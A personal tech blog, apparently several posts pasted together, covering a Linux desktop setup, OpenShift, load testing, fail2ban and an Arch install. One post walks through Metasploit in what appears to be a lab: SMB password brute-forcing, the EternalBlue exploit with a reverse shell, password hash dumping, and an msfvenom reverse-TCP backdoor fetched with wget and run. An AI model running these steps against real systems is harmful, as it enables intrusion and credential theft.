2024-01-26 13:27:45.376 DEBUG [2024-01-26 12:27:45,375] org.eclipse.jetty.http.HttpParser: HEADER:Accept: application/json --> IN_VALUE
2024-01-26 13:27:45.376 DEBUG [2024-01-26 12:27:45,375] org.eclipse.jetty.http.HttpParser: HEADER:Accept: application/json --> FIELD
..
2024-01-26 13:27:45.376 DEBUG [2024-01-26 12:27:45,375] org.eclipse.jetty.server.HttpChannel: REQUEST for //um.example.com/user/me?access_token=eyfoobarbaz on HttpChannelOverHttp@38e0621e{s=HttpChannelState@534aa4d7{s=IDLE rs=BLOCKING os=OPEN is=IDLE awp=false se=false i=true al=0},r=5,c=false/false,a=IDLE,uri=//um.example.com/user/me?access_token=eyfoobarbaz,age=0}

The way I work in 2025

2025-03-19T00:00:00+01:00

Hardware

The rock on which all stands, is an ThinkPad X1 Carbon Gen 12. I've been running X1s the last 10 years, and this one is the fastest I've had yet with an i7 155U CPU and 32 GBs of RAM. It's light, it's fast, it has a great keyboard. I love it to bits.

I use only one external screen, a Dell UltraSharp 25" (U2515H) with 2560x1440 resolution. I used to have two screens, then changed to a super wide screen. These days, I actually find having one, regular external screen not only sufficient, but also preferable. There's a certain calmnes of having only one screen and it gives me more focus.

The keyboard I'm using at work is Ducky One 2 Skyline TKL. It's fast and easy to type on. At home, I have my favourite keyboard (and noisier!), Happy Hacking Professional 2.

Music is a necessity to concentrate. For about five years now, I've been enjoying the Sony WH-1000XM series. The sound is good, the noise cancelling adequate and they're comfortable to wear.

Operating system

I love Arch Linux and use it both for work and my home desktop computers. Debian is still my preferred server operating system, but on the desktop, Arch rules supreme.

Arch gives me the latest versions of desktop application and environments, without seemingly ever to break my system. I upgrade all the packages every day, but cannot remmeber anything breaking. It's big feat.

Another thing I dig about Arch, is that I don't need Flatpak, Snaps or AppImages. Everything's either in the official repositories or in AUR. I never need to install a package a different way, I just use one command: paru. paru deals with both official and AUR pacakges.

Desktop environment

For seven years now, I've been using i3. I like it more and more, how it stays out of the way and lets me get on with my work. It's highly configurable, and I've had a stable setup for years.

As is normal with i3, I have Alt + <number> shortcuts to jump to any of the 10 virtual workspaces. I've configured the window manager to always open certain apps on dedicated workspaces. For instance, my coding editor is always on workspace 1, my web browser windows always on workspace 2 and so on. Thus, I can blindly hit Alt + 2 and be sure I'll instantly see my browser tabs.

My workspaces are as follows:

Primary coding enviroment (Emacs ♥️)
Web browser
Terminals
Secondary coding environment
Whatever goes
Whatever goes
Personal browser
Snapshot manager and VPN
Music and sound control
Personal chat (Signal)

I prioritise screen real estate, so I have no window decorations, no toolbar, no notificaiton area, no nothing. The mouse has no use apart from clicking around on websites 😃

Apart from my i3 configuration itself, the important additions that make i3 great for me are Greenclip and rofi.

Greenclip clipboard manager. It supports both text and images and allows me to have a long history of copied content that I can choose from when I want to paste it somewhere else. For instance, I often want to copy 2 things from a Jira issue when pasting it into Slack: The title and the Jira issue link. So I first copy both these things from Jira, I then switch to the other app and invoke Greenclip to select the text I need.

The second taste of secret sauce for my i3 setup, is rofi. It gives me fuzzy search for switching windows as well as launching applications. It being text based means it's lightning fast too.

With rofi, I get easy asccess to all my open windows, on all desktops.

In this screenshot, I want to navigate to the web browser window where I'm reading a Wikipedia page. Just typing wi quickly narrows it down, adding k makes it unique and I can just hit Enter to go to the correct Firefox window.

Here showing the rofi dialogue for running an arbitrary command. There's a also a rofi view for applications, but I like the run dialogue better as it lets me run any command, like i3-msg move workspace to output right to move the desktop on my screen to the left, onto the right hand monitor. The rofi run dialogue remembers previously type commands, making it super fast to use.

Lastly, I like make the desktop look good too, so I use picom to add translucency to a selected few of my windows: My editor, my terminals and the simple X applications, like xclock and xload. You can find my picom conf here.

Speed is a big feature of my setup in general. I want it to be fast. And i3 with rofi and greenclip is indeed fast. It also makes richer desktop environments not an option for me.

Screenshotting tool

I've tried many screenshotting tools, but have found none that works as well as ksnip. It both allows me to easily select app windows, regions or screens, and it has an excellent selection of annotation tools to add numbers, arrows and boxes to the screenshots so that I can clearly convey why I want to show you the screenshot 🤣

Coding environment

Emacs is by my preferred code editing environment and by far the app I used the most. In the screenshot above, you can see my Emacs 30.1, with native compilation, and skinned using the sweet theme and theSource Code Pro font from Adobe.

I've tweaked my .emacs since the year 2000 and have got it about right now, lol.

Web browser

My primary browser is Firefox. It's fast, has excellent plugin support and is the browser being the closest the four freedoms, which I think is important.

I find it useful to pin the websites I use the most as this will both load the websites I always need when starting the browser, and I have a fixed screen realestate to go for these. The sites I have pinned are: Slack for chat, Outlook for mail, Teams for video chat and calendar, Bitbucket for PR code reviews and ChatGPT for research.

Furthermore, I've changed my way of using the bookmark bar. These days, I prefer it to be visible at all times, and I've added a button for creating a screenshot since some websites grab the right click, which is the normal way to creates screenshotts.

To make it look nice, I use the beautiful Sweet-Dark theme by Eliver Lara.

The plugin LanguateTool helps improving my writing of English, German and Norwegian alike.

Websites become a lot easier to read, thanks to uBlock Origin blocking flashy ads.

Start of the day script

I run one of two scripts every morning: @home and @work. As you've probably have guessed, I run @home when I work from home and @work when I'm in the office. They set up network access, DNS, VPN, external screens and other things that are dependent on my physical location. Both of them then call @daily, which ensures my environment is both ready to use and up to date:

Starts an SSH agent
Syncs my documents and notes
Updates the entire operating system
Creates a backup of my most important files that are not version controlled.
Creates a start page for my browser. The start page has things like my recent Git and Jira history the last couple of days, so that I have all I need for the standup meeting later in the day.

The command that creates the start page is called skybert-dash and you can use it too. The start page looks like this 👆

Keeping up with the news

I get my tech news from two sources: RSS feeds and Mastadon. Reading RSS feeds with a good reader, here using elfeed is super fast and lets me focus on the most important things without being distractted by animated kittens and other nonsense.

These are the feeds I'm currently subscribed to.

Music

Although I love Spotify, often times, I prefer playing my local OGG and MP3 collection using a command line client. I shuffle my entire collection, ensuring I get a good mix of everything from classical and opera to hard rock and blues.

$ mpv --shuffle --audio-display=no --input-ipc-server=/tmp/mpvsocket ~/music/

I ask mpv to set up a socket to which I can control it using desktop shortcuts. E.g. to pause, I hit Ctrl Shift 4. To jump to the previous track, I hit Ctrl Shift 6 and to jump to next track, I hit Ctrl Shift 7. That's it really. An eternal play list and three shortcuts. That's all I need.

That's it

Hope you enjoyed this tour of my desktop. Happy hacking!

Watching Openshift cluster events

2025-03-19T00:00:00+01:00

When my Openshift cluster is bootstrapping, I prefer watching the progress with:

$ watch "oc get events --sort-by '{.metadata.creationTimestamp}' | tail -n 20"

The animated topology GUI is nice, but the above command gives me more details as to exactly what it is doing with what component.

Scaling a pod in Openshift

2025-03-17T00:00:00+01:00

Scaling a pod down an up again is the same as restarting a pod, it's just that the container folks like to use fancy words:

The thing you scale down and up is a deployment, which is one abstraction above a pod.

You can get a list of deployments with:

$ oc get deployments
foo-ice-cream

$ oc scale deployment/foo-ice-cream --replicas=0

Give it a second or two, and then scale it up again to get a fresh pod with containers, fresh of any disk or in-memory state left behind that wasn't mounted or injected:

$ oc scale deployment/foo-ice-cream --replicas=1

Happy scaling!

The World is Mean, So Your Load Tests Must Be Meaner

2025-02-11T00:00:00+01:00

It's amazing how your backend service works fine when testing it with curl, postman or a frontend GUI, but fails all over the place when unleashing a mean load testing tool like siege on it:

DB pool exhaustion
HTTP connector settings out of sync with other components
Integrations with 3rd party systems stall
Basically, with any scarce resource you thought the app would recycle when you write connection.close(), will potentially come back and bite you since your app spends longer actually closing it than what you assume in your code.

The world is mean, so prepare your app by using a mean testing tool. My favourite is siege. In addition be an excellent and scriptable shell command, it can sustain heavy load creation much better than e.g. JMeter, which I've on several occations seen freeze up when the going gets rough.

Allows you to create a URI file with all HTTP operations, including POSTing JSON.
Allows passing as many HTTP headers as you want (so, including auth with bearer tokens).
And last, but not least, it works on any platform, any server.

Here's a non-trivial example of using siege for testin both read and write performance of a backend system:

$ siege \
    --concurrent=255 \
    --time 10S \
    --header="Authorization: Bearer eyhunter2.." \
    --header="X-Important-Id-For-App: foo-bar-baz" \
    --content-type=application/json \
    --json-output \
    --benchmark \
    --internet \
    --no-parser \
    --file /tmp/load-test.siege

The contents of /tmp/load-test.siege:

# Service discovery document, generated so can be expensive
http://localhost:8000/openapi.json

# Read book
http://localhost:8000/book/1

# Read a thousand books
http://localhost:8000/book/?count=1000

# Create book
http://localhost:8000/book POST {"title": "The Iliad", "author": "Homer"}

# Create library
attic_name="My loft"
http://localhost:8000/library POST {"name": "The Attic called ${attic_name}"}

As you can see in the library example, siege has rudimentary support for variables too. Read the fine manual with man siege and learn further details about this excellent tool.

Happy load testing!

fail2ban with systemd journal

2025-02-05T00:00:00+01:00

The fail2ban package installed on the Debian version offered by AWS has a default configuration that depends on reading log files. This doesn't work when e.g. sshd writes failed login attempts to the systemd journal rather than the traditional /var/log/auth.log.

The error looks like this:

#  systemctl status fail2ban
× fail2ban.service - Fail2Ban Service
     Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled; preset: enabled)
     Active: failed (Result: exit-code) since Wed 2025-02-05 19:43:14 UTC; 2s ago
   Duration: 82ms
       Docs: man:fail2ban(1)
    Process: 7698 ExecStart=/usr/bin/fail2ban-server -xf start (code=exited, status=255/EXCEPTION)
   Main PID: 7698 (code=exited, status=255/EXCEPTION)
        CPU: 80ms

systemd[1]: Started fail2ban.service - Fail2Ban Service.
..
fail2ban-server[8032]: 2025-02-05 19:51:15,947 fail2ban [8032]:  ERROR   Failed during configuration: Have not found any log file for sshd jail
..
systemd[1]: fail2ban.service: Main process exited, code=exited, status=255/EXCEPTION
systemd[1]: fail2ban.service: Failed with result 'exit-code'.

The fix is simple, though, just add the following to the enabled jail, or set it in /etc/fail2ban/jail.conf to apply this to all jails:

# vim /etc/fail2ban/jail.d/defaults-debian.conf

And add the line with backend:

[sshd]
enabled = true
backend = systemd

Now, restart fail2ban and check its status:

# systemctl restart fail2ban
# systemctl status fail2ban
● fail2ban.service - Fail2Ban Service
     Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled; preset: enabled)
     Active: active (running) since Wed 2025-02-05 19:52:34 UTC; 9min ago
       Docs: man:fail2ban(1)
   Main PID: 8041 (fail2ban-server)
      Tasks: 5 (limit: 1107)
     Memory: 16.3M
        CPU: 458ms
     CGroup: /system.slice/fail2ban.service
             └─8041 /usr/bin/python3 /usr/bin/fail2ban-server -xf start

systemd[1]: Started fail2ban.service - Fail2Ban Service.
..
fail2ban-server[8041]: Server ready

Finally, check fail2ban itself to see that the sshd jail is working:

# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
|  |- Currently failed: 0
|  |- Total failed: 0
|  `- Journal matches:  _SYSTEMD_UNIT=sshd.service + _COMM=sshd
`- Actions
   |- Currently banned: 0
   |- Total banned: 0
   `- Banned IP list:

As you can see, fail2ban is keeping tabs on failed ssh login attempts and will put failed IPs in jail. Happy banning!

Download a Website from the Command Line

2025-01-27T00:00:00+01:00

Want to make an offline backup of your favourite blog? No need to download a dedicated app for this, just use wget:

$ wget \
  --execute="robots = off" \
  --mirror \
  --convert-links \
  --no-parent \
  --wait=5 https://example.com

This takes a wee while since I've added the --wait=5 seconds switch, but just let it run in the background and you'll get what you want without putting any strain on the server. Also, the --convert-links makes sure you can browe your local copy without jumping to the online version. Beware, though, that it might be there's some JavaScript on the page that makes the page jump to the online version anyway, in which case you might want to considering a plugin like noscript, or disabling all replace all <script> tags with something else:

$ find -type f | xargs sed -i 's#script>#ignorescript>#g'

Happy archiving!

Resolving corrupt AUR packages installed with paru

2024-12-18T00:00:00+01:00

$ paru -Syu
..
error: failed to download sources for 'amazon-ssm-agent-bin-3.3.1345.0-1':
..

The reason was a corrupt download from a previous run, so I removed the local cache entry for that package:

$ rm -rf  ~/.cache/paru/clone/amazon-ssm-agent-bin

Now, it installed without any problems:

$ paru
..
==> Finished making: amazon-ssm-agent-bin 3.3.1345.0-1 (Wed 18 Dec 2024 11:00:54 CET)
==> Cleaning up...
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) amazon-ssm-agent-bin-3.3.1345.0-1

Total Installed Size:  121.81 MiB
Net Upgrade Size:        8.03 MiB
..
(1/1) upgrading amazon-ssm-agent-bin   [############################################] 100%
..
$

OpenShift Port Forwarding

2024-11-01T00:00:00+01:00

I want to connect to a MariaDB server running inside one of my pods:

First, I get the pod id:

$ oc get pods | grep -w db
foo-db-75df5b9949-x9zcj :3306

Now, I forwarded the MariaDB server port to a random local port:

$ oc port-forward foo-db-75df5b9949-x9zcj :3306
Forwarding from 127.0.0.1:39219 -> 3306
Forwarding from [::1]:39219 -> 3306
Handling connection for 39219

Finally, I could use my local mariadb client to connect to the MariaDB running inside my Openshift cluster:

$ mariadb \
    --host=localhost \
    --port=39219 \
    --user=${FOO_DB_USER} \
    --password=${FOO_DB_PASSWORD} \
    --database=${FOO_DB_SCHEMA}

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 36
Server version: 11.4.3-MariaDB-ubu2404 mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [foodb]>

Cool, eh? Happy SQLing!

Signal Desktop Freezes All the Time

2024-10-21T00:00:00+02:00

$ signal-desktop &
..

(signal-desktop:181107): libnotify-WARNING **: 08:44:20.567: Failed to
connect to proxy
[181107:1021/084445.667395:ERROR:libnotify_notification.cc(50)]
notify_notification_show: domain=1250 code=24 message="Error calling
StartServiceByName for org.freedesktop.Notifications: Timeout was
reached"

This was because I didn't have a notification daemon in my i3 based setup. Searching the bug track lead me to this issue which suggested either disabling notifications in the app, or installing a notification daemon. Since I find not having notification an awesome feature of any desktop or phone, I went ahead and disabled the notifications in the File → Preferences... dialogue.

An lo and behold, no more freezes.

My All Time Top 10 Music Albums

2024-10-16T00:00:00+02:00

Keep the Faith, by Bon Jovi
Brothers in Arms, by Dire Straits
The Four Seasons, by Nigel Kennedy
Les Misérables, by Original 1985 London Cast Recording
Unplugged, by Eric Clapton
Use Your Illusion II, by Guns N' Roses

My Discoveries in 2024

2024-08-19T00:00:00+02:00

Unix

Cool, but obscure X11 tools has a list of obscure Unix tools from the day back when XFree86 rules the world. Many of these tools are no longer included in the official repositories,so you might need to hunt them down and compile from source.

Cool, but obscure unix tools is a list of modern, updated Unix tools. Still wonderfully obscoure.

You can download the three legendary Unix posters in full quality from archive.org.

Software development

Why Bloat Is Still Software’s Biggest Vulnerability

System Agnostic Way of Installing Hazelcast

2024-08-16T00:00:00+02:00

Use Maven to download the Hazelcast binary:

$ mvn dependency:get -Dartifact='com.hazelcast:hazelcast:5.5.0'

Start it with java without any systemd or /usr/bin wrapper:

$ java -jar ~/.m2/repository/com/hazelcast/hazelcast/5.5.0/hazelcast-5.5.0.jar

If you want to enable the REST API, you can set these environment variables in front of the java command:

$ HZ_NETWORK_RESTAPI_ENABLED=true \
  HZ_NETWORK_RESTAPI_ENDPOINTGROUPS_DATA_ENABLED=true \
  java -jar ~/.m2/repository/com/hazelcast/hazelcast/5.5.0/hazelcast-5.5.0.jar

That's it. Hazelcast is now running on your machine. You can test it out by creating an entry:

$ curl \
  --include \
  --header "Content-Type: text/plain" \
  --data "bar" \
  http://localhost:5701/hazelcast/rest/maps/mapName/foo

And then retrieve it again:

$ curl --include http://localhost:5701/hazelcast/rest/maps/mapName/foo
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 3

bar

Fast Emacs for Firefox

2024-08-14T00:00:00+02:00

Firefox looks up apps by mime type by searching the directory:

/usr/share/applications/

If you've got Emacs installed, chances are that you have an emacs.desktop file in there and that file tells the system to use Emacs for opening a boat load of formats:

$ grep MimeType= /usr/share/applications/emacs.desktop
MimeType=text/english;text/plain;text/x-makefile;text/x-c++hdr;text/x-c++src;text/x-chdr;text/x-csrc;text/x-java;text/x-moc;text/x-pascal;text/x-tcl;text/x-tex;application/x-shellscript;text/x-c;text/x-c++;

To make Firefox open Emacs with a minimal configuration, I changed the Exec= line like this:

Exec=/usr/bin/emacs -Q -l /home/torstein/src/skybert/my-little-friends/emacs/.emacs.minimal %F

Now, whatever desktop app wants to open any of the above file formats, it opens it in a new Emacs process (I don't want to open it in my main Emacs via emacsclient) with a minmal configuration file. Fast, yet has some batteries included.

Microsoft Defender has Constant High CPU Load

2024-08-06T00:00:00+02:00

The fan's been spinning for hours. The Microsoft Defender is a gift that keeps on giving:

The interweb suggested asking mdatp what's up, but that didn't really help either:

# mdatp diagnostic real-time-protection-statistics --output json |
    python high_cpu_parser.py

A bit of

# strace -p <pid> -f

gave me a hunch, though:

FUTEX_WAIT_PRIVATE, 0, {tv_sec=0, tv_nsec=500000000}) = -1 ETIMEDOUT (Connection timed out)

This is a known pattern for multiple directory scans running. This made me curious if I had multiple wdavdaemon processes running. And lo and behold, I had.

It turns out,

# paru -Syu

had upgraded Microsoft Defender, but a restart:

# systemctl daemon-reload
# systemctl restart mdatp

didn't shut down the old process cleanly.

A systemctl stop mdatp and a good old kill -9 <pid> saved the day:

# systemctl stop mdatp
# kill -9 $(pidof wdavdaemon)

Now, there should be no wdavdaemon running:

# pidof wdavdaemon
#

And we can start Microsoft Defender again:

# systemctl start mdatp

Now, mdatp runs again and my CPU fan is quiet.

$ top -p $(pidof wdavdaemon | tr ' ' ',')

Lists only wdavdaemon processes each consuming less than a percent.

Good grief.

Configure UFW to allow KVM guests

2024-07-16T00:00:00+02:00

To allow KVM guests network access, the whole internet says you just have to allow incoming and outcoming traffic on the virbr0 interface:

# ufw allow in on virbr0
# ufw allow out on virbr0

However, it still didn't work. journactl -f showed:

# journactl -f
..
Jul 15 11:10:16 mithrandir kernel: [UFW BLOCK]
  IN=virbr0
  OUT=wlan0
  MAC=51:50:00:50:64:ce:49:51:00:b1:cd:e9:08:07
  SRC=192.168.122.185
  DST=195.88.54.16
  LEN=60
  TOS=0x00
  PREC=0x00
  TTL=63
  ID=13981
  DF
  PROTO=TCP
  SPT=45838
  DPT=80
  WINDOW=64240
  RES=0x00
  SYN
  URGP=0

This was because there was no firewall rule to forward traffic from the virbr0 interface to the wlan0 interface to get out on the internet:

# ufw route allow in on virbr0 out on wlan0

With that in place, my KVM guests could access the internet as normal! 💪

Metasploit

2024-07-10T00:00:00+02:00

Disclaimer

Do not hack any system you're not allowed to. I provide this information in good faith, to educate the reader so that we can all better guard against against from bad actors.

Starting the Metasploit shell

$ msfconsole

Perform a port scan

msf6> use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 10.10.24.171
msf6 auxiliary(scanner/portscan/tcp) > run

[+] 10.10.24.171:         - 10.10.24.171:22 - TCP OPEN
[+] 10.10.24.171:         - 10.10.24.171:21 - TCP OPEN
[+] 10.10.24.171:         - 10.10.24.171:139 - TCP OPEN
[+] 10.10.24.171:         - 10.10.24.171:445 - TCP OPEN
[+] 10.10.24.171:         - 10.10.24.171:8000 - TCP OPEN
[*] 10.10.24.171:         - Scanned 1 of 1

This shows why you should have a firewall.

Cracking a Windows user's password

This assumes the user lisa's password is in /tmp/huge-list-of-passwords.txt:

msf6> use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > set rhosts 192.168.1.4
msf6 auxiliary(scanner/smb/smb_login) > set smbuser lisa
msf6 auxiliary(scanner/smb/smb_login) > set pass_file /tmp/huge-list-of-passwords.txt
msf6 auxiliary(scanner/smb/smb_login) > run
..
[+] 10.10.24.171:445      - 10.10.24.171:445 - Success: '.\lisa:love123'

This shows how important it is that users choose non-trivial passwords.

Figure out what's running on a given port

msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(scanner/http/http_version) > set rport 8000
msf6 auxiliary(scanner/http/http_version) > run
msf6 auxiliary(scanner/http/http_version) > run
[+] 10.10.24.171:8000 webfs/1.21 ( 403-Forbidden )

This shows why you should have minimal server version strings.

Crack an unpatch Windows 7 machine

Check if the machine is vulnerable:

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > setg rhosts 10.10.162.197
rhosts => 10.10.162.197
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 10.10.162.197:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.162.197:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Then load the exploit and select a payload

msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
..
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 2
payload => generic/shell_reverse_tcp

Finally, run the exploit:

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -z

[*] Started reverse TCP handler on 10.10.70.92:4444 
[*] 10.10.162.197:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.162.197:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.162.197:445     - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.162.197:445 - The target is vulnerable.
[*] 10.10.162.197:445 - Connecting to target for exploitation.
[+] 10.10.162.197:445 - Connection established for exploitation.
[+] 10.10.162.197:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.162.197:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.162.197:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.162.197:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.162.197:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.162.197:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.162.197:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.162.197:445 - Sending all but last fragment of exploit packet
[*] 10.10.162.197:445 - Starting non-paged pool grooming
[+] 10.10.162.197:445 - Sending SMBv2 buffers
[+] 10.10.162.197:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.162.197:445 - Sending final SMBv2 buffers.
[*] 10.10.162.197:445 - Sending last fragment of exploit packet!
[*] 10.10.162.197:445 - Receiving response from exploit packet
[+] 10.10.162.197:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.162.197:445 - Sending egg to corrupted connection.
[*] 10.10.162.197:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.70.92:4444 -> 10.10.162.197:49165) at 2024-07-10 09:17:58 +0100
[+] 10.10.162.197:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.162.197:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.162.197:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Session 1 created in the background.
msf6 exploit(windows/smb/ms17_010_eternalblue) >

Now, attach to the backdoor:

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
===============

  Id  Name  Type               Information                          Connection
  --  ----  ----               -----------                          ----------
  1         shell x64/windows  Shell Banner: Microsoft Windows [Ve  10.10.70.92:4444 -> 10.10.162.197:4
                               rsion 6.1.7601] -----                9165 (10.10.162.197)

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 1
[*] Starting interaction with 1...


Shell Banner:
Microsoft Windows [Version 6.1.7601]
-----


C:\Windows\system32>

Get the pasword hashes by upgrading the shell session to a meterpreter session:

msf6> sessions -u 1
msf6> sessions -l

Active sessions
===============

  Id  Name  Type                     Information                       Connection
  --  ----  ----                     -----------                       ----------
  1         shell x64/windows        Shell Banner: Microsoft Windows   10.10.70.92:4444 -> 10.10.162.19
                                     [Version 6.1.7601] -----          7:49165 (10.10.162.197)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC      10.10.70.92:4433 -> 10.10.162.19
                                                                       7:49188 (10.10.162.197)

Now, use that new session to gather the hashes

msf6> use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set session 2 
session => 2
msf6 post(windows/gather/hashdump) > run

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 55bd17830e678f18a3110daf2c17d4c7...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...

Administrator:500:fsadf:afdafds:::
Guest:501:asdfasfd:sdfafds:::
john:1001:asdfads:asdfadfs:::

[*] Post module execution completed
msf6 post(windows/gather/hashdump) >

Get access to a Linux by installing a backdoor

First, create the backdoor software, aka a payload:

# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.198 LPORT=5555 -f elf > backdoor.elf
# python -m http.server

Where 192.168.1.198 is the machine and 5555 the port, where you want the backdoor to call back to.

Now, get the backdoor.elf installed and run on the other Linux machine:

$ wget http://192.168.1.198:8000/backdoor.elf
$ chmod +x backdoor.elf
$ ./backdoor.elf

Now, on your machine, load an exploit that allows to spawn a shell via the backdoor:

$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost 10.10.130.198
msf6 exploit(multi/handler) > use lport 5555
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

And with that, you should have a shell on the other machine via the backdoor:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.130.198:5555 
[*] Sending stage (1017704 bytes) to 10.10.125.85
[*] Meterpreter session 1 opened (10.10.130.198:5555 -> 10.10.125.85:42224) at 2024-07-15 04:55:49 +0100

meterpreter >

Now, you can run whatever post modules you want, like dumping the password hashes:

meterpreter > bacground
msf6 exploit(multi/handler) > use post/linux/gather/hashdump
msf6 post(linux/gather/hashdump) > set session 1
session => 1
msf6 post(linux/gather/hashdump) > run

You should now have a listing of all the password hashes on the machine.

How I failed migrating from X11 to Wayland

2024-06-07T00:00:00+02:00

For several years now, people have been saying I should move from X.org to Wayland. Every time I've tried just a wee bit, I've run into a problem and switched back. I've also failed to be convinced from the countless articles and blog posts I've read. X.org works fine for me and I've stuck with it and XFree86 before that, for more than 20 years.

Until now. Getting a new computer was an opportunity to do something radically different. Since Wayland has been default on Fedora and Ubuntu for many years now, I figured it had to be ready for prime time. Here are my notes as I try to get a working developer workstation set up.

Greenclip doesn't work under Wayland

Start Clipman:

exec wl-paste -w wl-paste -p >> ~/.clipboard-history

Then change ~/.config/i3/config:

bindsym $mod+Control+i exec tac ~/.clipboard-history | rofi -dmenu | wl-copy

clipman doesn't support images, though, might want to check out clipmon later.

rofi doesn't show all windows under Wayland

Sadly, rofi -show window that I've been using before, doesn't show all windows under Wayland. On my system, it only shows some windows, like Chrome. It doesn't show apps like Firefox, Emacs, Kitty.

$ sway --version
sway version 1.9
$ rofi -v
Version: 1.7.5

In ~/.config/i3/config, I set:

bindsym Control+Shift+o exec swayr switch-window
exec env RUST_BACKTRACE=1 RUST_LOG=swayr=debug swayrd > /tmp/swayrd.log 2>&1

IntelliJ IDEA doesn't work under Wayland

Starting it just shows a blank screen. It it was reported 2023-08-16 and they are working on a fix.

$ sway --version
sway version 1.9

$ pacman -Qi intellij-idea-community-edition | head -n 4
Name            : intellij-idea-community-edition
Version         : 4:2024.1.2-1
Description     : IDE for Java, Groovy and other programming languages with advanced refactoring features
Architecture    : x86_64

Signal doesn't load

I tried several times with GNOME3 on Wayland, but could not get Signal running. Starting it from the command line produced no errors that I could see, but the window just didn't show.

Steam doesn't load

Same deal as with Signal. No window. Running it from the command line showed activity and no errors. The result, though, was no graphical window displayed on my desktop.

Summary

I've had it with Wayland/Sway. After a week of trying, I've ditched it and gone back to X.org/i3.

I've had problems with clip board managers (cannot copy pictures++), Teams in Firefox (cannot share screen, depends on "operating system settings", which doesn't resolve to anything on my machine). IntelliJ IDEA didn't work on Wayland (still open issue on github), and Signal regularly froze. As did QEMU running a graphical VM, just gave me a blank screen.

Good to be back on X.org. Everything works. Command line tools, GUI tools. Just works.

I will come back and try Wayland/Sway again in a couple of years time and see where the experience is at then. As for me, Wayland is not ready yet, 2024-06-07.

Installing Arch Linux on Thinkpad X1 Carbon 12th Gen

2024-05-28T00:00:00+02:00

Create USB disk to boot the installer from

First, I downloaded the ISO with a torrent obtained from https://archlinux.org/download/. I used BitTorrent client Deluge.

I then used dd to write the ISO to the flash drive. I figured out the /dev/<device> by running dmesg as I plugged in the USB disk:

# dmesg
..
[40163.683166] usb 3-7: new high-speed USB device number 18 using xhci_hcd
..
[40166.445458] sd 0:0:0:0: [sda] Attached SCSI removable disk

The sda bit was all I needed, I could then run dd to write the file to the disk:

# dd bs=4M \
     if=tmp/archlinux-2024.05.01-x86_64.iso \
     of=/dev/sda conv=fsync \
     oflag=direct \
     status=progress

Getting X1 to boot from the USB

Enter the BIOS/UEFI by hitting F2 (or Esc, I hammered on both of them) to enter the BIOS/UEFI configuration and disable Secure Boot (which requires the OS to be signed my Microsoft's key.

Then reboot again and hit F12 to get the boot menu. From there, select the USB disk.

Let the fun begin

On my old computer next to the new one, I had the Arch Linux installation guide which steps you through the different commands you must type to get the bare boned OS installed.

Network in the installer

I set up the wireless card with:

# iwctl
station wlan0 connect my-ssid
<pasword>
exit
# dhclient -v wlan0

Partioning the harddrive

# cfisk /dev/nme0n1

Full disk encryption

https://wiki.archlinux.org/title/Dm-crypt/Encrypting_an_entire_system#LUKS_on_a_partition

I opted for the bootloader I've used the last 15 years, GRUB. I did forget to Generatethe main GRUB configuration file, so be sure to do that.

Boot loader

# pacman -S grub efibootmgr

